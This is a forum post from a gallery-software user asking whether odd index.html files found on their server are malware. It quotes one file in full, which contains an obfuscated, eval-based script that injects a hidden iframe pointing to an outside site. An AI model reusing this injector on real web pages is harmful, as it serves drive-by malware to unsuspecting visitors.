2
« on: February 14, 2012, 11:03:25 AM »
Hello
I've found four weird files in /data folder (in /data/media ; /data/thumbnails ; /data/tmp_media ; /data/tmp_thumbnails). Filename is index.html. Some anitvirus reported this files as IFramer virus? I've blocked this files on server. But its probably files to convert charset? It is correct? This is some kind of mailware/virus or 4Images files?
<html>
<head>
<title></title>
</head>
<body bgcolor="#FFFFFF" text="#000000"><!--898dcf--><script>String.prototype.asd=function(){return String.fromCharCode;};Object.prototype.asd="e";try{for(i in{})if(~i.indexOf('a'+'s'))throw 1;}catch(q){zxc={}[i];}v=document.createTextNode('asd');var s="";for(i in v)if(i=='childNodes')o=v[i].length+1;o*=2;e=eval;m=[11-o,11-o,107-o,104-o,34-o,42-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,105-o,103-o,118-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,117-o,68-o,123-o,86-o,99-o,105-o,80-o,99-o,111-o,103-o,42-o,41-o,100-o,113-o,102-o,123-o,41-o,43-o,93-o,50-o,95-o,43-o,125-o,11-o,11-o,11-o,107-o,104-o,116-o,99-o,111-o,103-o,116-o,42-o,43-o,61-o,11-o,11-o,127-o,34-o,103-o,110-o,117-o,103-o,34-o,125-o,11-o,11-o,11-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,121-o,116-o,107-o,118-o,103-o,42-o,36-o,62-o,107-o,104-o,116-o,99-o,111-o,103-o,34-o,117-o,116-o,101-o,63-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,108-o,113-o,109-o,103-o,110-o,107-o,111-o,113-o,48-o,101-o,113-o,111-o,49-o,105-o,113-o,48-o,114-o,106-o,114-o,65-o,117-o,107-o,102-o,63-o,53-o,41-o,34-o,121-o,107-o,102-o,118-o,106-o,63-o,41-o,51-o,50-o,41-o,34-o,106-o,103-o,107-o,105-o,106-o,118-o,63-o,41-o,51-o,50-o,41-o,34-o,117-o,118-o,123-o,110-o,103-o,63-o,41-o,120-o,107-o,117-o,107-o,100-o,107-o,110-o,107-o,118-o,123-o,60-o,106-o,107-o,102-o,102-o,103-o,112-o,61-o,114-o,113-o,117-o,107-o,118-o,107-o,113-o,112-o,60-o,99-o,100-o,117-o,113-o,110-o,119-o,118-o,103-o,61-o,110-o,103-o,104-o,118-o,60-o,50-o,61-o,118-o,113-o,114-o,60-o,50-o,61-o,41-o,64-o,62-o,49-o,107-o,104-o,116-o,99-o,111-o,103-o,64-o,36-o,43-o,61-o,11-o,11-o,127-o,11-o,11-o,104-o,119-o,112-o,101-o,118-o,107-o,113-o,112-o,34-o,107-o,104-o,116-o,99-o,111-o,103-o,116-o,42-o,43-o,125-o,11-o,11-o,11-o,120-o,99-o,116-o,34-o,104-o,34-o,63-o,34-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,101-o,116-o,103-o,99-o,118-o,103-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,42-o,41-o,107-o,104-o,116-o,99-o,111-o,103-o,41-o,43-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,117-o,116-o,101-o,41-o,46-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,108-o,113-o,109-o,103-o,110-o,107-o,111-o,113-o,48-o,101-o,113-o,111-o,49-o,105-o,113-o,48-o,114-o,106-o,114-o,65-o,117-o,107-o,102-o,63-o,53-o,41-o,43-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,120-o,107-o,117-o,107-o,100-o,107-o,110-o,107-o,118-o,123-o,63-o,41-o,106-o,107-o,102-o,102-o,103-o,112-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,114-o,113-o,117-o,107-o,118-o,107-o,113-o,112-o,63-o,41-o,99-o,100-o,117-o,113-o,110-o,119-o,118-o,103-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,110-o,103-o,104-o,118-o,63-o,41-o,50-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,118-o,113-o,114-o,63-o,41-o,50-o,41-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,121-o,107-o,102-o,118-o,106-o,41-o,46-o,41-o,51-o,50-o,41-o,43-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,106-o,103-o,107-o,105-o,106-o,118-o,41-o,46-o,41-o,51-o,50-o,41-o,43-o,61-o,11-o,11-o,11-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,105-o,103-o,118-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,117-o,68-o,123-o,86-o,99-o,105-o,80-o,99-o,111-o,103-o,42-o,41-o,100-o,113-o,102-o,123-o,41-o,43-o,93-o,50-o,95-o,48-o,99-o,114-o,114-o,103-o,112-o,102-o,69-o,106-o,107-o,110-o,102-o,42-o,104-o,43-o,61-o,11-o,11-o,127-o];mm=''.asd();for(i=0;i<m.length;i++)s+=mm(e("m"+"["+"i"+"]"));e(s);</script><!--/898dcf-->
</body>
</html>